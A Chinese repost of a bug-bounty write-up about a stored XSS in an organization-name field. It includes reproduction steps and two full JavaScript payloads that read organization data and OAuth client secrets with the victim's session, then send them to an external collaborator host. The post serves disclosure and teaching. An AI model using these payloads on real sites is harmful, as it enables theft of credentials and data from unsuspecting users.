利用存储XSS窃取 Oauth 凭证并泄露数据

admin 2025年5月26日13:01:45评论28 views字数 1674阅读5分34秒阅读模式

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

防走失:https://gugesay.com/archives/4354

不想错过任何消息?设置星标↓ ↓ ↓

利用存储XSS窃取 Oauth 凭证并泄露数据

利用存储XSS窃取 Oauth 凭证并泄露数据

背景介绍

漏洞位于“organization name”(组织名称)字段,由于该字段接受并存储了未经过滤的用户输入,因此这些输入一旦被呈现在公共页面上,恶意的 Javascript 代码就会在用户的浏览器中执行。

漏洞点及参数

  • 注入点:https://api.target.com/v1/organizations/[org-id]
  • 触发点:https://target.com/[slug]
  • 易受攻击的参数:name

XSS Payload 一旦被注入到name字段中,任何访问该页面的用户就会在浏览器中执行恶意的 Javascript 代码。

复现步骤

  1. 创建两个帐户:一个为攻击者,一个为受害者
  2. 首先登录攻击者帐户
  3. 导航至“Storefront”页面并在“组织名称”字段中输入恶意的 Payload代码
  4. 保存数据后并发布页面
  5. 分享页面链接并发送至受害者(比如: target.com/anoth)
  6. 一旦受害者访问该链接,恶意Payload代码便会执行

XSS的深入利用

接下来我们创建了两个不同的Payload来演示该漏洞的实际影响。

利用1

Payload代码:

<script>fetch('https://target.com/v1/organizations/', {method:'GET'credentials:'include'}).then(res => res.json()).then(data => fetch('https://3jn69zeha0nnybiwin8ushzes5ywmncb1.oastify.com/'+btoa(JSON.stringify(data)))).then(res => res.json()).then(finalData =>console.log(finalData)).catch(err =>console.error(err));alert('successful');</script>

Payload作用:

  • 发送经过身份验证的 GET 请求以检索用户的组织详细信息
  • 对数据进行 Base64 编码
  • 将获得的信息发送至攻击者控制的服务器

利用2

Payload代码:

<script>fetch('https://target.com/v1/oauth2/', {method:'GET'credentials:'include'}).then(res => res.json()).then(data => fetch('https://3jn69zeha0nnybiwin8ushzes5ywmncb1.oastify.com/'+btoa(JSON.stringify(data)))).then(res => res.json()).then(finalData =>console.log(finalData)).catch(err =>console.error(err));alert('successful');</script>

Payload 作用:

  • 获取 OAuth 应用程序配置,包括客户端 ID 和客户端密钥
  • 对数据进行编码
  • 将获得的信息发送至攻击者控制的服务器

最终白帽小哥获得 $800 的赏金奖励,厂商也在 2 小时进行了快速响应和修复。

你学到了么?

原文:https://infosecwriteups.com/stored-xss-led-to-oauth-app-credential-theft-and-info-disclosure-85545fca3948

- END -

加入星球,随时交流:

(会员统一定价):128元/年(0.35元/天)利用存储XSS窃取 Oauth 凭证并泄露数据感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~

原文始发于微信公众号(骨哥说事):利用存储XSS窃取 Oauth 凭证并泄露数据

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月26日13:01:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用存储XSS窃取 Oauth 凭证并泄露数据https://cn-sec.com/archives/4098774.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息